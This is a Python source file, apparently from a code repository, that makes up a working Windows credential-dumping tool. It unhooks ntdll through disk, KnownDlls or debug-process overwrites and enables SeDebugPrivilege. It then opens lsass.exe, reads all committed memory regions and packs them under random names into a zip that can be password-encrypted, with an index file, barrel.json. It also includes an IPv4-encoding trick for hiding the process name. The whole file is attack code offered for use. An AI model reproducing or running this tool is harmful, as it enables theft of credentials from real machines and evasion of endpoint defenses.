Files
2024-09-26 10:50:45 +02:00

388 lines
14 KiB
Python

import os
import sys
import json
import ctypes
from ctypes import wintypes
import argparse
from overwrite import overwrite_disk, overwrite_knowndlls, overwrite_debugproc
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import random
import string
import zipfile
# Constants
TOKEN_ADJUST_PRIVILEGES = 0x0020
TOKEN_QUERY = 0x0008
SE_PRIVILEGE_ENABLED = 0x00000002
PROCESS_VM_OPERATION = 0x8
PROCESS_VM_WRITE = 0x20
MemoryBasicInformation = 0
ProcessBasicInformation = 0
PAGE_NOACCESS = 0x01
MEM_COMMIT = 0x00001000
# Structures
class PROCESS_BASIC_INFORMATION(ctypes.Structure):
_fields_ = [ ("Reserved1", wintypes.LPVOID), ("PebBaseAddress", wintypes.LPVOID), ("Reserved2", wintypes.LPVOID * 2), ("UniqueProcessId", wintypes.HANDLE), ("Reserved3", wintypes.LPVOID) ]
class MEMORY_BASIC_INFORMATION(ctypes.Structure):
_fields_ = [ ('BaseAddress', wintypes.LPVOID), ('AllocationBase', wintypes.LPVOID), ('AllocationProtect', wintypes.DWORD), ('RegionSize', ctypes.c_size_t), ('State', wintypes.DWORD), ('Protect', wintypes.DWORD), ('Type', wintypes.DWORD)]
class LUID(ctypes.Structure):
_fields_ = [ ("LowPart", wintypes.DWORD), ("HighPart", wintypes.LONG) ]
class LUID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [ ("Luid", LUID), ("Attributes", wintypes.DWORD) ]
class TOKEN_PRIVILEGES(ctypes.Structure):
_fields_ = [ ("PrivilegeCount", wintypes.DWORD), ("Privileges", LUID_AND_ATTRIBUTES * 1) ]
class CLIENT_ID(ctypes.Structure):
_fields_ = [ ("UniqueProcess", wintypes.HANDLE), ("UniqueThread", wintypes.HANDLE) ]
class OBJECT_ATTRIBUTES(ctypes.Structure):
_fields_ = [ ("Length", wintypes.ULONG), ("RootDirectory", wintypes.HANDLE), ("ObjectName", wintypes.LPVOID), ("Attributes", wintypes.ULONG), ("SecurityDescriptor", wintypes.LPVOID), ("SecurityQualityOfService", wintypes.LPVOID) ]
def initialize_object_attributes():
return OBJECT_ATTRIBUTES(
Length=ctypes.sizeof(OBJECT_ATTRIBUTES),
RootDirectory=None,
ObjectName=None,
Attributes=0,
SecurityDescriptor=None,
SecurityQualityOfService=None
)
# NTAPI functions
ntdll = ctypes.WinDLL("ntdll")
NtOpenProcessToken = ntdll.NtOpenProcessToken
NtOpenProcessToken.restype = wintypes.ULONG
NtOpenProcessToken.argtypes = [
wintypes.HANDLE,
wintypes.DWORD,
ctypes.POINTER(wintypes.HANDLE)
]
NtAdjustPrivilegesToken = ntdll.NtAdjustPrivilegesToken
NtAdjustPrivilegesToken.restype = wintypes.ULONG
NtAdjustPrivilegesToken.argtypes = [
wintypes.HANDLE,
wintypes.BOOL,
ctypes.POINTER(TOKEN_PRIVILEGES),
wintypes.DWORD,
ctypes.POINTER(TOKEN_PRIVILEGES),
ctypes.POINTER(wintypes.DWORD)
]
NtOpenProcess = ntdll.NtOpenProcess
NtOpenProcess.restype = wintypes.LONG
NtOpenProcess.argtypes = [
wintypes.HANDLE, # ProcessHandle
wintypes.DWORD, # DesiredAccess
wintypes.LPVOID, # ObjectAttributes
wintypes.LPVOID # ClientId
]
NtClose = ntdll.NtClose
NtClose.restype = wintypes.ULONG
NtClose.argtypes = [wintypes.HANDLE]
NtGetNextProcess = ntdll.NtGetNextProcess
NtGetNextProcess.restype = wintypes.ULONG
NtGetNextProcess.argtypes = [
wintypes.HANDLE,
wintypes.ULONG,
wintypes.ULONG,
wintypes.ULONG,
ctypes.POINTER(wintypes.HANDLE)
]
NtQueryInformationProcess = ntdll.NtQueryInformationProcess
NtQueryInformationProcess.restype = wintypes.LONG
NtQueryInformationProcess.argtypes = [wintypes.HANDLE, wintypes.ULONG, wintypes.HANDLE, wintypes.ULONG, wintypes.PULONG]
NtReadVirtualMemory = ntdll.NtReadVirtualMemory
NtReadVirtualMemory.restype = wintypes.LONG
NtReadVirtualMemory.argtypes = [
wintypes.HANDLE, # ProcessHandle
wintypes.LPVOID, # BaseAddress
wintypes.LPVOID, # Buffer
wintypes.ULONG, # NumberOfBytesToRead
wintypes.PULONG # NumberOfBytesRead
]
NtQueryVirtualMemory = ntdll.NtQueryVirtualMemory
NtQueryVirtualMemory.restype = wintypes.DWORD
NtQueryVirtualMemory.argtypes = [
wintypes.HANDLE, # ProcessHandle
wintypes.LPVOID, # BaseAddress
wintypes.DWORD, # MemoryInformationClass
wintypes.LPVOID, # MemoryInformation
wintypes.ULONG, # MemoryInformationLength
wintypes.LPVOID # ReturnLength (optional)
]
def get_random_string(length):
characters = string.ascii_letters + string.digits
random_string = ''.join(random.choices(characters, k=length))
return random_string
def open_process(pid):
process_handle = wintypes.HANDLE()
obj_attributes = initialize_object_attributes()
client_id = CLIENT_ID(
UniqueProcess=ctypes.c_void_p(pid),
UniqueThread=None
)
status = NtOpenProcess(
ctypes.byref(process_handle),
(PROCESS_VM_OPERATION | PROCESS_VM_WRITE),
ctypes.byref(obj_attributes),
ctypes.byref(client_id)
)
if status != 0 or not process_handle:
print("[-] Could not open handle to the process. Not running as administrator maybe?")
sys.exit(0)
return process_handle
def get_proc_name_from_handle(process_handle):
process_basic_information_size = 48
peb_offset = 0x8
processparameters_offset = 0x20
commandline_offset = 0x68
return_length = wintypes.ULONG()
process_information = PROCESS_BASIC_INFORMATION()
return_length = wintypes.ULONG()
ntstatus = NtQueryInformationProcess(
process_handle,
ProcessBasicInformation,
ctypes.byref(process_information),
ctypes.sizeof(process_information),
ctypes.byref(return_length)
)
if ntstatus != 0:
raise ctypes.WinError()
# Get PEB->ProcessParameters
processparameters_pointer = process_information.PebBaseAddress + processparameters_offset
processparameters_address = read_remoteintptr(process_handle, processparameters_pointer)
# Get ProcessParameters->CommandLine
commandline_pointer = processparameters_address + commandline_offset
commandline_address = read_remoteintptr(process_handle, commandline_pointer)
commandline_value = read_remoteWStr(process_handle, commandline_address)
return commandline_value
def GetProcessByName(proc_name):
MAXIMUM_ALLOWED = 0x02000000
aux_handle = wintypes.HANDLE(0)
while True:
status = NtGetNextProcess(aux_handle, MAXIMUM_ALLOWED, 0, 0, ctypes.byref(aux_handle))
if status != 0:
break
try:
aux_proc_name = get_proc_name_from_handle(aux_handle)
if aux_proc_name.lower() == proc_name.lower():
return aux_handle
except Exception as e:
pass
return wintypes.HANDLE(0)
def enable_debug_privilege():
current_process = open_process(os.getpid())
token_handle = wintypes.HANDLE()
try:
ntstatus = NtOpenProcessToken(current_process, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, ctypes.byref(token_handle))
if ntstatus != 0:
print(f"[-] Error calling NtOpenProcessToken. NTSTATUS: 0x{ntstatus:X}")
raise ctypes.WinError()
luid = LUID()
luid.LowPart = 20
luid.HighPart = 0
token_privileges = TOKEN_PRIVILEGES()
token_privileges.PrivilegeCount = 1
token_privileges.Privileges[0].Luid = luid
token_privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
ntstatus = NtAdjustPrivilegesToken(token_handle, False, ctypes.byref(token_privileges), ctypes.sizeof(token_privileges), None, None)
if ntstatus != 0:
print(f"[-] Error calling NtAdjustPrivilegesToken. NTSTATUS: 0x{ntstatus:X}")
raise ctypes.WinError()
print("[+] SeDebugPrivilege enabled successfully.")
finally:
if token_handle:
NtClose(token_handle)
def read_remoteintptr(process_handle, mem_address):
buffer = ctypes.create_string_buffer(8)
bytes_read = wintypes.ULONG(0)
status = NtReadVirtualMemory(
process_handle,
mem_address,
buffer,
8,
ctypes.byref(bytes_read)
)
if status != 0:
return
read_bytes = buffer.raw[:bytes_read.value][::-1]
read_int = int(str((read_bytes).hex()),16)
return read_int
def read_remoteWStr(process_handle, mem_address):
buffer = ctypes.create_string_buffer(256)
bytes_read = wintypes.ULONG(0)
status = NtReadVirtualMemory(
process_handle,
mem_address,
buffer,
256,
ctypes.byref(bytes_read)
)
if status != 0:
return ""
read_bytes = buffer.raw[:bytes_read.value]
index = read_bytes.find(b'\x00\x00')
unicode_str = (read_bytes[:index].decode('unicode-escape'))
unicode_str_clean = "".join(char for char in unicode_str if char.isprintable())
return unicode_str_clean
def decodeIPv4(byte_strings):
byte_array = bytearray()
for byte_string in byte_strings:
bytes = map(int, byte_string.split('.'))
byte_array.extend(bytes)
return byte_array.decode('utf-8').rstrip('\0')
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('-o', '--option', required=False, action='store', help='Option for library overwrite: \"disk\", \"knowndlls\" or \"debugproc\"')
parser.add_argument('-p', '--path', required=False, default="", action='store', help='Path to ntdll file in disk (for \"disk\" option) or program to open in debug mode (\"debugproc\" option)')
parser.add_argument('-zp', '--zip_pwd', required=False, default="", action='store', help='Password for zip file')
my_args = parser.parse_args()
return my_args
def create_nonpwd_zip(zip_name, files_content):
with zipfile.ZipFile(zip_name, 'w') as zipf:
for f in files_content:
zipf.writestr(f['filename'], f['content'])
def create_pwd_zip(output_zip, password, file_list):
import pyzipper
with pyzipper.AESZipFile(output_zip, 'w', compression=pyzipper.ZIP_DEFLATED, encryption=pyzipper.WZ_AES) as zf:
zf.setpassword(password.encode('utf-8'))
for file_info in file_list:
zf.writestr(file_info['filename'], file_info['content'])
def main():
# Ntdll overwrite
args = get_args()
option = args.option
if option == "disk":
path = "C:\\Windows\\System32\\ntdll.dll"
if args.path != "":
path = args.path
overwrite_disk(path)
elif option == "knowndlls":
overwrite_knowndlls()
elif option == "debugproc":
path = "c:\\windows\\system32\\calc.exe"
if args.path != "":
path = args.path
overwrite_debugproc(path)
else:
pass
# Get SeDebugPrivilege
enable_debug_privilege()
# Decode process name to "C:\\WINDOWS\\system32\\lsass.exe"
# process_name_ipv4_encoded = ["67.58.92.87", "73.78.68.79", "87.83.92.115", "121.115.116.101", "109.51.50.92", "108.115.97.115", "115.46.101.120", "101.0.0.0"]
# process_name = decodeIPv4(process_name_ipv4_encoded)
process_name = "c:\\windows\\system32\\lsass.exe"
# Get process handle
process_handle = GetProcessByName(process_name)
print("[+] Process handle: \t" + str(process_handle.value))
if process_handle.value is None:
print("[-] It was not possible to get a process handle")
sys.exit(0)
# Loop memory regions
mem_address = 0
proc_max_address_l = 0x7FFFFFFEFFFF
mem64list_arr = []
files_content = []
while (mem_address < proc_max_address_l):
memory_info = MEMORY_BASIC_INFORMATION()
memory_info_size = ctypes.sizeof(memory_info)
return_length = ctypes.c_size_t()
status = NtQueryVirtualMemory(
process_handle,
mem_address,
MemoryBasicInformation,
ctypes.byref(memory_info),
memory_info_size,
ctypes.byref(return_length)
)
if memory_info.Protect != PAGE_NOACCESS and memory_info.State == MEM_COMMIT:
buffer = ctypes.create_string_buffer(memory_info.RegionSize)
bytes_read = wintypes.ULONG(0)
status = NtReadVirtualMemory(
process_handle,
memory_info.BaseAddress,
buffer,
memory_info.RegionSize,
ctypes.byref(bytes_read)
)
if status == 0:
memdump_filename = get_random_string(9) + "." + get_random_string(3)
#with open(memdump_directory + "\\" + memdump_filename, 'wb') as file:
# file.write(buffer.raw)
files_content.append({"filename": memdump_filename, "content": buffer.raw})
mem64list_arr.append({"field0": memdump_filename, "field1": hex(mem_address), "field2": memory_info.RegionSize})
mem_address += memory_info.RegionSize
# Close process handle
NtClose(process_handle)
file_name = "barrel.json"
zip_name = "barrel.zip"
zip_pwd = args.zip_pwd #"oogie-boogie"
with open(file_name, 'w', encoding='utf-8') as f:
json.dump(mem64list_arr, f, ensure_ascii=False)
print("[+] File " + file_name + " generated.")
if zip_pwd != "":
create_pwd_zip(zip_name, zip_pwd, files_content)
else:
create_nonpwd_zip(zip_name, files_content)
print("[+] File " + zip_name + " generated.")
if __name__ == "__main__":
main()